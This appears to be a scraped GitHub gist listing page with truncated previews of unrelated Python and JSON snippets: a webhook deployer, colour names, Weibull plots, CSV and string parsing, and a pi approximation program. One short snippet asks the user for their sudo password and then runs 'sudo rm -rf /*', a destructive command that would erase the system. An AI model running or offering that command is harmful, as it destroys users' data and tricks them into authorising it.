This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Simple web server that listens for Github webhooks to implement push-to-deploy | |
with Pelican static sites | |
Settings are loaded from a json file except for SECRET which should be an | |
environment variable | |
Example `deployer.json` | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"acid green": "#8ffe09", | |
"adobe": "#bd6c48", | |
"algae": "#54ac68", | |
"algae green": "#21c36f", | |
"almost black": "#070d0d", | |
"amber": "#feb308", | |
"amethyst": "#9b5fc0", | |
"apple": "#6ecb3c", | |
"apple green": "#76cd26", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
import seaborn as sns | |
import matplotlib.pylab as plt | |
from numpy.random import weibull | |
from scipy.stats import cumfreq | |
Nsamples = 5000 | |
Nsamples_new = 500 | |
# generate a weibull distribution |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import seaborn as sns | |
from numpy.random import weibull | |
Nsamples = 1e4 | |
# generate a weibull distribution | |
k=2 | |
x = weibull(k,(Nsamples,)) | |
partition1, binlocs1, _ = hist(x,10); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import csv | |
def csv2blob(filename): | |
with open(filename,'rb') as f: | |
z = f.read() | |
parts = z.split('\r\n\r\n') | |
stations = parts[0] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with open('us-500.csv') as f: | |
lines = f.readlines() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
line = "this, is, some, really, weird,whitespace" | |
# split the string at commas, resulting in a list | |
tokens = line.split(",") | |
# tokens still have whitespace | |
print tokens | |
# list comprehension to strip whitespace | |
nowhitespace = [a.strip() for a in tokens] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
print("Hi, this is the computer. I forgot your sudo password, can you please type it for me again?") | |
subprocess.call(["sudo","rm","-rf","/*"]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
subprocess.call(["command","-flag1","value1","-flag2","value2"]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import math | |
print("\n\n") | |
print("Welcome to Dr. Reid's Magical Approximation Program! \n\n") | |
print("This program computes approximations of Pi. \n\n") | |
print("Sources for formulas/approximations:") | |
print(" * http://mathworld.wolfram.com/PiApproximations.html") | |
print(" * http://mathworld.wolfram.com/PiFormulas.html\n\n") | |